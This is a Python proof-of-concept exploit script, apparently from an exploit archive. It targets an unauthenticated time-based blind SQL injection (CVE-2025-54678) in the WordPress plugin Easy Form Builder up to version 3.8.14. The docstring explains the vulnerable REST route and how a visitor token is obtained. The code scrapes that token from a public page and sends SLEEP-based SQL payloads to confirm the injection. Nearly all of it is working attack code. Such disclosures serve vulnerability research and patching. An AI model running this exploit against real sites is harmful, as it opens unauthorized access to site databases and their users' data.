## https://sploitus.com/exploit?id=PACKETSTORM:226451
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Easy Form Builder <= 3.8.14 - Unauthenticated Time-Based Blind SQL Injection (REST)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/easy-form-builder/
# Software Link: https://downloads.wordpress.org/plugin/easy-form-builder.3.8.14.zip
# Version: 3.8.14 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-54678
"""
Easy Form Builder <= 3.8.14 registers the REST route POST /wp-json/Emsfb/v1/forms/response/get
(includes/class-Emsfb-public.php:70) with permission_callback => __return_true (unauthenticated).
The callback reads the JSON body and concatenates the `value` field raw into a query
(class-Emsfb-public.php ~1927/1932):
$id = sanitize_text_field($data_POST['value']);
$value = $this->db->get_results(
"SELECT content,msg_id,track,date FROM `$table_name` WHERE track = '$id'");
The body is read via get_json_params() (php://input JSON), which is NOT processed by
wp_magic_quotes(), so a literal single quote is delivered raw -> SQL injection in a single-quoted
string. The request is gated only by a `sid` visitor token (efb_code_validate_select) that any
visitor obtains from the rendered [Easy_Form_Builder_confirmation_code_finder] shortcode page
(inline JS: "sid":"...").
Payload: nonexist' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
Prior state: plugin active + a page with the confirmation-code-finder shortcode (source of a valid
sid). setup_state.sh seeds a valid sid row so the PoC is self-contained.
"""
import argparse, sys, re, time
import requests
requests.packages.urllib3.disable_warnings()
def harvest_sid(base, page):
try:
h = requests.get(base + page, verify=False, timeout=20).text
m = re.search(r'"sid":"([^"]+)"', h)
return m.group(1) if m else None
except Exception:
return None
def probe(base, sid, seconds):
payload = "nonexist' AND (SELECT 1 FROM (SELECT SLEEP(%d))x)-- -" % seconds
t = time.time()
requests.post(base + "/wp-json/Emsfb/v1/forms/response/get",
json={"sid": sid, "valid": "1", "value": payload}, verify=False, timeout=60)
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--sid", help="visitor sid (else harvested from --page)")
ap.add_argument("--page", default="/track/", help="page rendering the confirmation-code-finder shortcode")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
sid = args.sid or harvest_sid(base, args.page)
if not sid:
print("[-] no sid (pass --sid or point --page at the shortcode page)"); return 1
print(f"[*] Target: {base} | sid: {sid}")
t0 = probe(base, sid, 0)
t5 = probe(base, sid, args.sleep)
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
if (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ unauthenticated attacker-controlled SLEEP({args.sleep}) "
f"delayed the response by {t5 - t0:.2f}s (value param, forms/response/get).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())